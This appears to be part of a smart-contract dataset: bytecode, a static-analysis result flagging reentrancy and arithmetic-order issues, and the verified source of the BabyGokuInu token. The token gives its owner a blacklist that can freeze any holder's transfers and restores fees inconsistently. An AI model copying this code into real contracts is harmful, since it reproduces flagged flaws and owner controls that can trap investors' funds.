08116908716830281611c2457fe5b04905081811115611c325750805b861561204257885462ffffff600160381b90910481169086161115611c87576040805162461bcd60e51b815260206004820152600660248201526521707269636560d01b604482015290519081900360640190fd5b8854600090611ca290600160381b900462ffffff1683611b4f565b8a54909150600160381b900462ffffff9081169087166002021115611ce6578954600160381b900462ffffff9081169087166002020380821015611ce4578091505b505b8954600160381b900462ffffff16811115611d31576040805162461bcd60e51b815260206004820152600660248201526521707269636560d01b604482015290519081900360640190fd5b895463ffffffff90811690881610801590611d5957508954600160201b900462ffffff168111155b15611dbf57895460408a015160208b015163ffffffff8316975060029091026001600160601b0390811692600160381b810462ffffff908116600160201b9092041601911687020281611da857fe5b8b5463ffffffff19168c5504935061232392505050565b895460208a015160009162ffffff600160381b82041684900391869163ffffffff1683026001600160601b039091160281611df657fe5b0491505089604001516002026001600160601b0316828c60000160079054906101000a900462ffffff1662ffffff1601600101820281611e3257fe5b0494506000611e5f828c602001516001600160601b03168b63ffffffff1602611b4f90919063ffffffff16565b60208c01518d5491925060009187916001600160601b031663ffffffff9091160281611e8757fe5b04905080821115611e96578091505b508a602001516001600160601b031681830181611eaf57fe5b049650611ed4828c602001516001600160601b03168902611b4f90919063ffffffff16565b9050611efa8b604001516001600160601b031684830281611ef157fe5b88919004611aa6565b60208c01518d54919750600093506001600160601b03169150611f289063ffffffff908116908990611b4f16565b60408c01518d5460208e01519290930292611f7a92600160381b820462ffffff908116600160201b840491909116016001600160601b0391821663ffffffff93841602029260020216890290611b4f16565b81611f8157fe5b8c549190049150611f9f908290600160201b900462ffffff16611b4f565b8b54909150600160201b900462ffffff16811015611ff5576040805162461bcd60e51b815260206004820152600e60248201526d2162616446696e616c52616e676560901b604482015290519081900360640190fd5b8a5462ffffff60381b1916600160381b62ffffff83160217808c556120259063ffffffff908116908890611b4f16565b8b5463ffffffff191663ffffffff91909116178b55506123209050565b885462ffffff600160201b90910481169086161015612091576040805162461bcd60e51b815260206004820152600660248201526521707269636560d01b604482015290519081900360640190fd5b88546000906120ac90600160201b900462ffffff1683611aa6565b8a549091506000906120d09062ffffff89811660020291600160201b900416611b4f565b9050808211156120de578091505b508954600160201b900462ffffff1681101561212a576040805162461bcd60e51b815260206004820152600660248201526521707269636560d01b604482015290519081900360640190fd5b895463ffffffff9081169088161080159061215257508954600160381b900462ffffff168110155b156121a157895460408a015160208b015163ffffffff8316975060029091026001600160601b0390811692600160381b810462ffffff908116600160201b9092041601911687020281611da857fe5b895460208a015160009162ffffff600160201b820416840391869163ffffffff1683026001600160601b0390911602816121d757fe5b0491505089604001516002026001600160601b03166001838d60000160049054906101000a900462ffffff1662ffffff16010382028161221357fe5b0494506000612240828c602001516001600160601b03168b63ffffffff1602611b4f90919063ffffffff16565b60208c01518d5491925060009187916001600160601b031663ffffffff909116028161226857fe5b04905080821115612277578091505b508a602001516001600160601b03168183018161229057fe5b0496506122b5828c602001516001600160601b03168902611b4f90919063ffffffff16565b90506122d28b604001516001600160601b031684830281611ef157fe5b8c549096506122ee925063ffffffff90811691508790611b4f16565b8a5463ffffffff191663ffffffff919091161766ffffff000000001916600160201b62ffffff92909216919091021789555b50505b9550959350505050565b61233f826001600160a01b03166124e5565b612390576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106123ce5780518252601f1990920191602091820191016123af565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612430576040519150601f19603f3d011682016040523d82523d6000602084013e612435565b606091505b50915091508161248c576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115611b49578080602001905160208110156124a857600080fd5b5051611b495760405162461bcd60e51b815260040180806020018281038252602a815260200180612549602a913960400191505060405180910390fd5b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906125195750808214155b949350505050565b6040805160808101825260008082526020820181905291810182905260608101919091529056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122027db567a69e2cd1271882b6301e44f31d93acaf01e6542df89ba27456154205164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
523
0xe8FB7707E7F8E279134D4D6B4d15B188F3AA59c6
/** *Submitted for verification at Etherscan.io on 2021-10-17 */ //https://t.me/BabyGokuInu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyGokuInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BabyGokuInu"; string private constant _symbol = "BabyGoku"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600b81526020017f42616279476f6b75496e75000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f42616279476f6b75000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173f